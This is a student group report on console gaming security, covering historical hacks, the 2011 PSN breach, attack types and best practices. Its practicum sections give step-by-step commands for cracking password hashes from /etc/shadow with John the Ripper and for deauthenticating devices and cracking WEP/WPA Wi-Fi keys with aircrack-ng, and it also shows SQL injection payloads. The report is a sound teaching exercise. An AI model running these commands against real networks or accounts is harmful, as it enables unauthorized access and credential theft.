

User Security in Console Gaming

Group 5 Final Submission

Kunsang Gyaltso

Ahsan Khan

Sunny Nurul

Michael Scala

Rose Wong

CSCI 400 – 01

Professor Etwaroo

December 14, 2020

Table of Content

<u>Topic</u>	<u>Page</u>
Problem Statement	3
Background	3
Timeline of Events	4
Motivations for "breaking in"	8
Types of attacks and solutions	10
Best Practices	16
Practicum Examples	20
Conclusion	29
Works Cited	31

Problem Statement:

- What are the vulnerabilities in video games?
- What are hackers' motivations for "breaking in"?
- What are steps that game makers and users can take to improve security?

Background

It appears that makers of video games are not providing adequate security to protect users' information. Both PlayStation and Xbox have been hacked multiple times resulting in users' information, including credit card numbers, being compromised. As console games got more difficult to hack and online gaming grew in popularity, hackers moved online.

Timeline of Key events

1970s and 1980s

Video games were coming about, allowing people to be entertained in a whole new way. With a population of newly found video gamers, companies like Nintendo needed to ensure that their systems were secure, both physically, in the hardware, and digitally, in the software. In 1985, Nintendo released their Nintendo Entertainment System (NES). They named it an entertainment system to distance themselves from the then-recent video game crash of 1983, which gave video games, and anything associated with it, a bad reputation (Shekleton, 2017). For NES, Nintendo implemented a code that allowed the console to read the games' copyright date. Only games whose copyright dates fell between 2 specific dates were allowed to run on the console (Shekleton, 2017). Intellivision, Sega Genesis, Sony's Playstation, and others implemented similar features. This is why whenever a video game loads up, it always shows the copyright text before presenting the main title screen of the game. Unfortunately, these software security measures were broken by modifying the hardware of the console (Shekleton, 2017). Once the console was hacked, off brand companies were able to produce and allow their personal video games to be played on the NES and other gaming consoles.

1990s and 2000s

As video game consoles grew more complicated, so was the security of the consoles itself. The hardware security was becoming too much for hackers, so they switched their exploits to software security. One example of this is from a game introduced for the game cube called "Phantasy Star Online". The game would connect to a website that Sega owned, and one of the websites was a DNS server. Hackers found out that if they enter information for a DNS server that they control instead of Sega's DNS server, they would be able to hack their way into the GameCube, sending malicious code as if it were a patch that was being sent out (Shekleton, 2017). This is called DNS hijacking.

2010s

In later years, during the era of the Nintendo Wii, a game named "The Legend of Zelda: Twilight Princess" was hacked using injection. In the game, you play as a character named Link. While you play as Link, you're able to explore an open world and tame a horse. Once you successfully tamed the horse, a screen popped up to allow you to name the horse. Even though players were limited to the on-screen keyboard, hackers were able to inject a malicious value due to the buffer overflow in the game (Shekleton, 2017).

In April of 2011, Sony's Playstation Network (PSN), was hacked, allowing the perpetrators to gain access to the personal information of

approximately 77 million users. This information ranged from “people’s names, addresses, email address, birth dates, usernames, passwords, logins, security questions and more” (Baker, 2011). In addition, the hackers took 12 million unencrypted credit card numbers. Sony paid \$15 million settlement in a class-action lawsuit (Baker, 2011). This compromise led to a great concern among the general public. People wanted to know how this happened and worried about what the attackers will do with the stolen information. Sony won’t release information on how it was breached, yet it was found out that numerous sources had a hand in the hacking. The infamous group Anonymous started it with a Distributed Denial of Service (DDoS) attack. A few weeks after the Anonymous attacks, the Playstation Network was struck again, this time by “an outside party” (Phillips, 2016). It took three weeks for Sony to recover from this attack. The ramifications were considerable to Sony and their affiliates. During the 2011 E3 (Electronic Entertainment Expo) meeting, Sony USA’s president, Jack Tretton, issued a public apology regarding the outage to their third party publishing partners “You guys been with us for over 15 years making tremendous games and I know the network outage was costly to our retail partners. You gave us shelf space when there was no PlayStation brand and you have given us more than our fair share since 1995 when we launched the original PlayStation and consumers. You are the lifeblood of the

company. Without you there is no PlayStation” (Phillips, 2016). The estimated cost of the security breach was high:

1. Cost an estimated \$171MM to rebuild PSN
2. £250,000 fine to pay for breaching the UK’s Data protection Act
3. Multitude of lawsuits that Sony wouldn’t actually settle until 2015
4. offer \$1 million identity theft insurance policy & 30 days free membership free (Phillips, 2016)

In 2017, the Nintendo Switch was released. During the first six months of its launch, the Nintendo Switch systems were released with an unpatched webkit, which allowed for many vulnerabilities to be exploited (Shekleton, 2017). In the same year, R2Games was hacked and over one million records were exposed. These records included IP addresses, Facebook details, email addresses, passwords, and usernames. This company owned more than a dozen mobile and browser-based games. This was the third time it was hacked (Player vs. Hacker, 2020).

In 2019, the Spidey Bot malware backdoored a legitimate Discord application and used a Discord webhook for command-and-control (C&C) communication with victim hosts (Player vs. Hacker, 2020). According to Trend Micro, “A command-and-control [C&C] server is a computer controlled by an attacker or cybercriminal which is used to send commands to systems compromised by malware and receive stolen data from a target network”.

Motivation for “breaking in”

Exposing vulnerabilities

The reason members of Anonymous decided to DDoS the PSN was because of “legal actions taken against PS3 jailbreaker George “Geohot” Hotz. In Anonymous' eyes, the information Geohot had discovered - how to run pirated games, how to run homebrew software - was now in the public domain, and if anything, Hotz had done Sony a favour by exposing the company's own loophole (Phillips, 2016). However, once the Anonymous members realized they were impacting the users, also known as gamers, they halted their attacks on the PSN. Afterwards, a black hat hacker group claimed responsibility for taking down Sony. “We are not aiming to attack customers of Sony. This attack is aimed solely at Sony”. Said Lizard Squad a few days after nonstop attacking on the PS network (Reisinger, 2020). Lizard Squad stated that they wanted to raise awareness that gaming network security was too weak, even though companies making tens of millions every month from just subscriber fees. They believed that game makers should build better system security against the cyberattack (Sky News, 2014). There has been no definitive reporting on who stole the user information and how it was done.

Money

Money is the major motivator behind many attacks. Player base is the largest asset targeted. User information can be monetized in many ways:

- sell to legitimate companies (address list for marketing purposes)
- sell to criminals
- deploy stolen information for further exploits.

Types of attacks and solutions

Distributed denial-of-service (DDoS)

A DDoS attack is cyber-attack on a specific server or network with intended purpose of disrupting that network or server normal operation. When multiple computers flood servers with fake requests, they overwhelm the system causing a disruption or denial of service to legitimate traffic. When attackers wanted to do an attack on some company server, the hacker cannot just use single computer to attack the company server, they have to take command of other computer system by using malicious software to take control of those systems. The attackers build an army of other infected computers to perform a DDoS attack. This army of infected computers could be hundreds, or thousands of computers scattered all over the world. The infected computers (called zombies or bots) are set up to launch an attack at a predetermined date and time. Under attack, the company's servers get overwhelmed and run out of bandwidth to respond to legitimate requests. The duration of the attack can last for long time, depending on the attacker's intent.

In the past few years, there have been development to detect and defend against DDoS attack. Under Windows OS and Mac OS, there is now code that can show you that your computer is been (DDoS) attacked. Open-source software such as Wireshark can monitor your network. Also, there are solutions that one can purchase (Solarwinds security event manager and

Sucuri Website Firewall) that protect you from DDoS attack. "The main goal of any DDoS defense mechanism is the detection of DDoS attacks as soon as possible to stop them as near as possible to their sources" (Nsaif, 2020). The algorithms that detect and defend your computer are crucial to your network.

Password Attacks

According to Google, an estimated number of 2M accounts are hacked every year. That includes gaming accounts. It starts from creating an account with a weak password, or a known password that you use everywhere. The second mistake is to write down the password or a 4-digit code on a sticky note, and stick that on your gaming console. Even if a user is careful with passwords, attackers can use tools for password cracking such as Cain and John the Ripper.

Phishing

Phishing can occur through emails, text messages, surveys, pop-ups, etc. A hacker may send an email that looks genuine. That email may include a link for a survey, or a link to download some software. It can be anything. Once you click on the link, it brings a pop-up that requests the information that they want to steal.

There are various types of phishing campaigns that target gamers. One example is attackers using the appeal of items or cheats to entice victims into paying for fake products. They are looking for gamers who will hand over credit card information, only to find that they paid for fake in-game items.

Social Engineering

Social engineering is a game of psychology. A hacker tricks you to get your personal information. It can be a friend of yours, who dares you to put your password in front of everyone. It can be a fake phone call from someone claiming to be representing PlayStation or Xbox. They might ask for your login information to “confirm your identity. These tricks may sound so obviously fake, but people have fell prey to them.

Injection and Broken Authentication

The top two security risks identified by the Open Web Application Security Project® (OWASP) are injection and broken security. These two risks are aligned with the concerns and focus of the gaming world.

“Criminals that I researched target two things in particular: the gamers themselves and the authentication mechanisms used to get into a game”, said Steve Ragan, senior technical writer at Akamai (Takahashi, 2019).

An example of injection is to enter malicious code in Structured Query Language (SQL) statements, via a web page input. The following example is from GeeksForGeeks (Kaur, 2018). We all log into various accounts on a regular basis. Most login screens require a user id and password.

Suppose someone enters the following for their credentials:

ID: 12222345 or 1=1.

In SQL, this entry translates to:

```
SELECT * from USER where
USER-ID == 12222345 or 1 = 1
```

Since **1=1** is always True, all the user data is compromised. Without security measures against this type of injection, it is easy for the malicious user to obtain the information for every user in the database.

Suppose another scenario:

```
SELECT * from USER where
USERNAME = "" and PASSWORD=""
```

Similarly, the attacker can use the '=' operator to retrieve user information.

The above query can be modified to retrieve protected data:

```
Select * from USER where
```

```
(USERNAME = "" or 1=1) AND  
(PASSWORD = "" or 1=1)
```

This injection, when executed, retrieves protected data, which can include usernames, passwords, names, addresses, credit card information, email and IP addresses, feedback rankings from others, digital images and personalized profiles, etc.

Broken authentication is a problem that allows both SQL injection and credential stuffing to occur. Credential stuffing is when the malicious user takes the list of stolen usernames and passwords and brute force various websites to try to gain access. This is predicated on the fact that many users use the same usernames and passwords for multiple accounts. To protect against injection and broken authentication, companies should be mindful of the following:

- Validate input from the user by pre-defining length and type of input of the input field and authenticating the user.
- Restrict access privileges of users and restrict the amount of data any outsider can access from the database.
- Avoid using system administrator accounts.

Users should use different usernames and passwords for different websites/applications.

Ad Fraud

The Belonard Trojan exploited vulnerabilities in a game called Counter-Strike. After infecting machines, the malware used various techniques to market/promote game servers. The attackers sold the capability as a service to legitimate game server owners who paid to have their servers appear in users' lists (Players vs. Hackers, 2020).

Best Practices

Following are some advice from a GamesBeat Webinar hosted by Akamai. It nicely corroborates and summarizes best practices from various other sources.

For game makers

1. Code the login page and APIs according to OWASP best practices.
2. Implement antivirus on Content Delivery Networks (CDNs), or create procedures for identifying and purging malicious content or accounts.
3. Perform penetration tests on login endpoints with reputable providers.
4. Strengthen access controls and identity management controls for game
5. Do awareness training for the players to help them understand the risks of password sharing, account sharing, purchasing game add-ons and things from non-reputable vendors.
6. Use principle of least privilege
7. Fix flaws and release patches as quickly as possible
8. Encourage or require users to apply patches before they can play

9. Encourage two-factor authentication
10. Build trust so that gamers will share information like phone numbers and heed advice from providers. This can only be achieved if game providers are honest, transparent and do their best to protect their users.
11. Understand that the gamer may be the weakest link, so trust building and education should be an on-going initiative, not a one-time hype.
12. Require passwords of at least 80 bits.
13. Continuously train employees because human error is sometimes the weakest link. Companies are targets of social engineering.

For the user

To avoid common types of malware such as ransomware, credential stealers, banking trojans, keyloggers, rootkits, spyware, the following steps can be taken:

1. Patch/update software in a timely manner to improve the security of a system. Patching refers to the updates to a software that repairs vulnerabilities that was not caught/fixed during development. By updating we reduce the vulnerabilities of the console game or software and it becomes more secured.

2. Avoid viruses and malware. Viruses and malware are malicious software that are designed to harm networks and computers. They come into a system without the knowledge of the users. The user might have clicked any link, or insert a USB or flash drive that have been used in an infected computer. Common malwares are ransomware, credential, details, banking trojan, keyloggers, rootkits etc. The following steps can be taken in order to avoid malwares:
 - Do not click any unknown links.
 - Do not download anything without verifying its legitimacy
 - Ignore the pop-up windows that say to download software
 - Use antivirus software to scan all downloads
 - Limit file and folder share
3. Avoid phishing by avoiding cold callers, clicking on pop-up links or links that come through suspicious emails and/or texts. The following videos will show how phishing attack takes place:
 - https://www.youtube.com/watch?v=_IuPjLAo62w
 - https://www.youtube.com/watch?v=NYLM--_23t0
 - <https://www.youtube.com/watch?v=fHhNWAKw0bY>
4. Avoid using public Wi-Fi. If you must use public Wi-Fi, never perform financial transactions or other activities where you need to input sensitive data. The following video shows how Wireshark is used to get username and password:

- <https://www.youtube.com/watch?v=5jXgwJ9jujY>

5. Uninstall unnecessary software. Uninstalling any unnecessary software and temporary files from our PC reduce the attack surface. The following video shows how it is done:

- <https://www.youtube.com/watch?v=2EuJsHk6B70&t=309s>

6. Avoid people who offer to help win an item that you really want in the game. They will go in and compromise your account.

Practicum Examples

Of the three practicum labs described in this section, Practicum 1 & 2 are demonstrated, and the videos have been uploaded to the assignment link on Blackboard. Practicum 1 was also demonstrated in class by Michael Scala.

Practicum Example 1 – hacking a Nintendo 3ds to gain additional gaming capabilities

A personal example of software security is when Michael Scala decided to hack and modify his Nintendo 3ds gaming console in order to play games that he already owned, but wanted to modify for an extra fun experience. The goal was to modify a Pokémon game in order to play it with the game being randomized. What this means is that all encounters and battles would be entirely different than the base game, along with there being modifications to the Pokémon themselves. In a sense, nothing would be normal except for how the game looked. In order for Michael to modify the Pokémon game, he had to install GodMode9 onto his 3ds. GodMode9 is a software that is hacked onto the Nintendo 3ds that allows for further hacking when using the 3ds itself. This was mainly done via the removeable and replaceable SD card that was located on the side of the 3ds console. By taking and inserting the SD card into a laptop, a user would be able to modify and insert new files that allowed for the hacking of the 3ds. It was as simple as entering the SD card into a computer, downloading the GodMode9

folder onto your computer, and transferring the GodMode9 file into the 3ds' SD card. Once this was done, you would enter the SD card back into the 3ds, and when powering the 3ds on, you would be able to access GodMode9 by simply holding the "select" button until the menu popped up (Plailect, 2020).

To modify the Pokémon game itself, you would need to eventually dump the game file. "Dumping a game file" means making a copy of the game file so that the gamer can read and modify it. Once you dump the game file, you can take the copy and make it into a .cia file, which allows for the modified game to be playable. Dumping a game is one of the requirements for modifying a Pokémon game, but it's not the first step. According to the YouTube video "How to RANDOMIZE ANY Pokémon Game on 3DS! Ultra Sun and Moon, Sun and Moon, ORAS, X and Y!" posted by The4thGenGamer, you first need to download a 3ds randomizer pack that they bestowed to viewers in the description of their video (The4thGenGamer, 2018). Once you download that, then you can dump the game file, as stated earlier, while the SD card is in the 3ds. Once the game file is dumped onto the SD card, the SD card is removed from the 3ds and put back into the computer. When on the computer, you take the copy of the game file, in this case a Pokémon game file, and insert it into the 3ds randomizer pack. Once you modify the game to your liking, you transfer the file back into the SD card file, and reinsert the SD card into the 3ds. Before

booting up the game, you need to delete the update data of the game you modified. Once you do, you'll be good to go for your randomized Pokémon game (The4thGenGamer, 2018).

Practicum Example 2 – Using John the Ripper to brute force passwords

John the Ripper is open source software that uses brute-force to find username with encrypted password pairs. Following are the instructions that Kunsang demonstrated in the video:

1. `sudo apt-get install john`
2. `sudo nano /etc/pam.d/common-password`
3. for our testing purposes, we used the nano text editor to change the SHA 256 to md5. We did not have adequate computing power to run the program with sha512. md5 takes as input a message of arbitrary length and produces as output a 128-bit message digest of the input. SHA produces a 512 bit message digest.
4. `wget http://scrapmaker.com/data/wordlists/dictionaries/rockyou.txt`.
rockyou.txt contains 14,341,564 unique passwords, used in 32,603,388 accounts. Kali Linux provides this dictionary file as part of its standard download word dictionaries.

5. `/cat /etc/passwd`

6. `cat /etc/shadow`

7. `unshadow /etc/passwd /etc/shadow > pass.txt`

This put together password and shadow file output to new file pass.txt

8. `less pass.txt`

9. `cd /usr/share/wordlists`

10. `ls`

11. `cq rockyou.txt.gz ~`

12. `cd`

13. `ls`

14. `gunzip rockyou.txt.gz`

15. `less rockyou.txt`

16. `john --wordlist=rockyou.txt --rules pass.txt`

17. `john -show pass.txt`

The software cracked roots password (toor) which is default password for kali linux: `root:toor:0:0:root:/root:bin/bash`

Kunsang set up three user and password pairs as shown below, with objective to see if non-dictionary words such as "wong" and "nurul" can be cracked. Unfortunately, he didn't have the computing power to complete the test.

`wget http://www.math.sjsu.edu/~foster/dictionary.txt`

`sudo adduser kunsang //pword apple`

`sudo adduser rose //pword wong`

```
sudo adduser sunny //pword nurul
```

lslogins -u // find out all the user in here

```
cat /etc/passwd
```

cat /etc/shadow (take look into the shadow file. from here we can see the user that create kunsang)

```
sudo adduser madison //pw lovekid
```

```
john -w:/test/rockyou.txt /etc/shadow
```

If the hacker has a powerful computer, they can find many username and password pairs using John the Ripper. This program can also be used for penetration testing.

Practicum Example 3

STEPS A HACKER CAN OR MAY TAKE TO ATTACK YOUR SYSTEM:

PRE-CONNECTION ATTACK

1. STEPS TO CHANGE THE MAC ADDRESS

- ifconfig
- ifconfig wlan0 down
- ifconfig wlan0 hw ether 00:11:22:33:55:44
- ifconfig wlan0 up

2. STEPS TO CHANGE IT TO MONITOR MODE

- iwconfig
- ifconfig wlan0 down
- iwconfig wlan0 mode monitor
- ifconfig wlan0 up

3. USE THIS COMMAND TO KILL ANY PROCESS: airmon-ng check kill

4. TO CAPTURE PACKETS, USE THIS COMMAND: airodump-ng wlan0(name of the adaptor)

5. TO CAPTURE 5GHZ NETWORK, USE THIS COMMAND: airodump-ng -- band a wlan0

6. TO CAPTURE 2.4GHZ AND 5GHZ, USE THIS COMMAND: airodump-ng - -band abg wlan0

7. TO TARGET A SPECIFIC NETWORK, USE THIS COMMAND: airodump- ng --bssid BSSID --channel --write test wlan0

8. TO OPEN A FILE

- a. ls
- b. wireshark
- c. File, open, select cap file

9. DISCONNECT ANY DEVICE FROM ANY NETWORK

- a. Aireplay-ng --deauth (Packets)1000000000 -a BSSID -c
STATION wlan0

GAINING ACCESS

10. WEP ACCESS ALGORITHM: RC4

- a. To crack WEP we need to:

- i. Capture a large number of packets/Ivs => airodump-ng
- ii. Analyze the captured Ivs and crack the key => aircrack-ng

- b. Steps to crack the key:

.Airodump-ng wlan0

- i. Airodump-ng --bssid BSSID --channel --write FileName wlan0

ii. ls

iii. Look for a cap file

iv. Aircrack-ng FileName-01.cap

11. WEP CRACKING FAKE AUTHENTICATION: Use this if the network is not showing enough data

- a. Airodump-ng --bssid BSSID --channel --write FileName wlan0
- b. Aireplay-ng --fakeauth 0 -a BSSID -h (my wireless mac address) wlan0
- c. Aireplay-ng --arpplay -b BSSID -h (my wireless mac address) wlan0

12. WPA/WPA2 CRACKING: TO CHECK THE NETWORKS THAT HAVE WPS ENABLED: This won't work on all routers

- a. Wash --interface wlan0
- b. Aireplay-ng --fakeauth 30 -a MacAddressTarget -h

13. WirelessAdaptorMacAddress wlan0 (run this command in a new terminal first:

. reaver --bssid BSSID --channel --interface wlan0 -vvv - - no-associate

14. ANOTHER WAY TO CRACK WPA/WPA2

- a. Airodump-ng wlan0
- b. Airodump-ng --bssid BSSID --channel --write FileName wlan0
- c. New Terminal: aireplay-ng --deauth 4 -a BSSID -c STATION wlan0
- d. Crunch 6 8 abcls12 -o test.txt
- e. Ls

- f. Aircrack-ng wpa_handshake-01.cap -w test.txt
- g. Buy a GPU to generate wordlist password (or you will be stuck for days or years to crack a complicated password).

POST CONNECTION:

- 15. Post connection includes the part of decrypting the information, bypassing http/https, and many other things.

Conclusion

This paper has explored the following questions regarding user security in console gaming:

- What are the vulnerabilities in video games?
- What are hackers' motivations for "breaking in"?
- What are steps that game makers and users can take to improve security?

In the early days of console gaming, there were exploits that can be done on the hardware, done mainly by gamers to increase variety, challenge and access to additional games. Those hardware vulnerabilities were gradually closed by game makers. The exploits have moved to software. The vulnerabilities of console games are now aligned with general computer and software usage vulnerabilities. The main ones that we discovered through our research are DDoS attack, Password attack, Phishing, Social Engineering, Broken Authentication and Injection, and Ad Fraud. Upon examination, user error/vulnerability is usually the weak link that underpin many of these attacks. DDoS attack requires the attacker to be able to gain control of innocent hosts. The success of password attack, phishing, social engineering is predicated on the gullibility/naivety of the victims.

The motivation for attacks is usually money driven, although the attackers of Sony claimed that they wanted to expose vulnerabilities for the benefit of gamers. There was also a bit of "Stick it to the Man" attitude in

the interviews of the perpetrators. Stealing user information open up multiple revenue streams for the perpetrators. Some of their clients are even legitimate concerns, such as data brokers and corporations who use the information for data mining and marketing purposes.

Through our practicums, we learned how easy it is to put into practice some of the exploits. We were even able to demonstrate two of them! There are numerous resources online that show step by step how to perform the hacks. Michael was able to successfully modify his Nintendo ds3 and Kunsang was able to use John the Ripper to crack some passwords. Ashan was able to put together a basket of commands that can be mixed and matched to effect exploits.

The recommendations for protecting user security are aligned with the best practices for computer usage, such as using and keeping confidential strong passwords, using different passwords for different websites/applications, being on alert at all times to not fall prey to phishing and social engineering. This can be accomplished by not interacting with any emails or text that do not have legitimate origins. For gamers, honesty is the best policy in terms of purchasing games from legitimate sources and not trying to "cheat" by purchasing reward items/tokens and paying others to help win "prizes" and level up.

Works Cited

- Automox, & Automox. (n.d.). What's the Difference Between Patching and Updates? Retrieved December 12, 2020, from /whats-the-difference-between-patching-and-updates
- Belajar Asyik. (2017, December 13). Wireshark: GET Username and Password. <https://www.youtube.com/watch?v=5jXgwJ9jujY>
- Ben Gabbard. (2016, June 17). Using "john the ripper" with ubutnu. https://www.youtube.com/watch?v=-9QUu2bO_ng
- Command and Control [C&C] Server—Definition. (n.d.). Retrieved December 14, 2020, from <https://www.trendmicro.com/vinfo/us/security/definition/command-and-control-server>
- Conflict International. (2017, March 30). Hacking challenge at DEFCON. <https://www.youtube.com/watch?v=fHhNWAKw0bY>
- Gordon, L. A., Loeb, M. P., & Zhou, L. (2020). Integrating cost-benefit analysis into the NIST Cybersecurity Framework via the Gordon-Loeb Model. *Journal of Cybersecurity*, 6(1). <https://doi.org/10.1093/cybsec/tyaa005>
- How game companies can protect their online operations and players from cyberattacks. (2019, December 7). VentureBeat.


<https://venturebeat.com/2019/12/07/how-game-companies-can-protect-their-online-operations-and-players-from-cyberattacks/>

In the World of Online Gaming: Who Is Protecting Whom from a Scam

Artist's Journey into Obtaining One's Information? - ProQuest. (n.d.).

Retrieved October 18, 2020, from

<https://search.proquest.com/openview/cdb035f1b534359d12759e4c8006760c/1?pq-origsite=gscholar&cbl=18750&diss=y>

Larry Bundy Jr. (2019, February 10).  5 Games You Never Knew

Contained Actual Viruses & Malware | Fact Hunt.

<https://www.youtube.com/watch?v=4eM4wjgXsJI&t=557s>

Learn Windows 10 and Computers. (2019a, June 27). Windows 10 What is the best Antivirus to protect from Malware.

<https://www.youtube.com/watch?v=pKv6oku3BP8>

Learn Windows 10 and Computers. (2019b, June 27). Windows 10 What is the best Antivirus to protect from Malware.

<https://www.youtube.com/watch?v=pKv6oku3BP8>

Lessons on software security from the video game industry | Synopsys.

(2018, February 16). Software Integrity Blog.

<https://www.synopsys.com/blogs/software-security/software-security-lessons-from-video-game-industry/>

Lizard Squad vs Anonymous—'PlayStation, Xbox and Tor Network' Attacks.

(n.d.). The Hacker News. Retrieved December 13, 2020, from

<https://thehackernews.com/2014/12/Lizard-Squad-Xbox-playstation.html>

MalwareFox. (2020, July 1). Why does Malware Keep Coming Back?

[Solved]. <https://www.youtube.com/watch?v=2EuJsHk6B70&t=309s>

[Old] How to RANDOMIZE ANY Pokemon Game on 3DS! Ultra Sun and Moon, Sun and Moon, ORAS, X and Y! (2018, February 12).

<https://www.youtube.com/watch?v=k-pnqSsJBv0&feature=youtu.be>

Online games and fraud: Using games as bait. (n.d.). Retrieved October 26, 2020, from <https://securelist.com/online-games-and-fraud-using-games-as-bait/36169/>

Perlroth, N., & Chen, B. X. (2014, December 26). Sony PlayStation and Microsoft Xbox Live Networks Attacked by Hackers. Bits Blog.

<https://bits.blogs.nytimes.com/2014/12/26/sony-and-microsoft-game-console-networks-disrupted/>

Phillips, T. (2016, April 26). Five years ago today, Sony admitted the great PSN hack. Eurogamer. <https://www.eurogamer.net/articles/2016-04-26-sony-admitted-the-great-psn-hack-five-years-ago-today>

Plailect. (n.d.). GodMode9 Usage. 3DS Hacks Guide. Retrieved October 26, 2020, from <https://3ds.hacks.guide/godmode9-usage.html>

Player vs. Hacker: Cyberthreats to Gaming Companies and Gamers. (2020, March 16). Security Intelligence.

<https://securityintelligence.com/posts/player-vs-hacker-cyberthreats-to-gaming-companies-and-gamers/>

Rapid7. (2019, May 22). Whiteboard Wednesday: What is Patching?

https://www.youtube.com/watch?v=OJa0WsB_FJk&t=108s

Reisinger, D. (n.d.). Anonymous threatens Sony over Geohot suit. CNET.

Retrieved October 26, 2020, from

<https://www.cnet.com/news/anonymous-threatens-sony-over-geohot-suit/>

Safe Gaming—How gamers can protect themselves and their PCs while

playing online. (n.d.-a). Retrieved October 26, 2020, from

<https://www.eset.com/au/about/newsroom/press-releases1/eset-blog/safe-gaming-how-gamers-can-protect-themselves-and-their-pcs-while-playing-online/>

Safe Gaming—How gamers can protect themselves and their PCs while

playing online. (n.d.-b). Retrieved October 26, 2020, from

<https://www.eset.com/au/about/newsroom/press-releases1/eset-blog/safe-gaming-how-gamers-can-protect-themselves-and-their-pcs-while-playing-online/>

Sky News. (2014, December 27). Lizard Squad Member: Why I Took Down

Xbox and PlayStation. <https://www.youtube.com/watch?v=fPX8yCBdIZ8>

Snapshot. (n.d.). Retrieved December 13, 2020, from

<https://www.mcvuk.com/business-news/publishing/sony-tretton-apologies-for-psn-outage/>

Sony PlayStation suffers massive data breach | Reuters. (n.d.). Retrieved

October 26, 2020, from <https://www.reuters.com/article/us-sony-stoldendata/sony-playstation-suffers-massive-data-breach-idUSTRE73P6WB20110427>

SONY: Tretton apologies for PSN outage. (2011, June 7). MCV/DEVELOP.

<https://www.mcvuk.com/business-news/publishing/sony-tretton-apologies-for-psn-outage/>

SQL Injection. (2018, January 18). GeeksforGeeks.

<https://www.geeksforgeeks.org/sql-injection-2/>

"The Security of Classic Game Consoles" by Kevin Shekleton. (2017,

September 30). <https://www.youtube.com/watch?v=s0XmiXs8iRw>

What is the Difference Between HTTP and HTTPS? (n.d.). KeyCDN. Retrieved

December 14, 2020, from <https://www.keycdn.com/blog/difference-between-http-and-https>

Zamora, W. (2016, August 26). 10 easy ways to prevent malware infection.

Malwarebytes Labs. <https://blog.malwarebytes.com/101/2016/08/10-easy-ways-to-prevent-malware-infection/>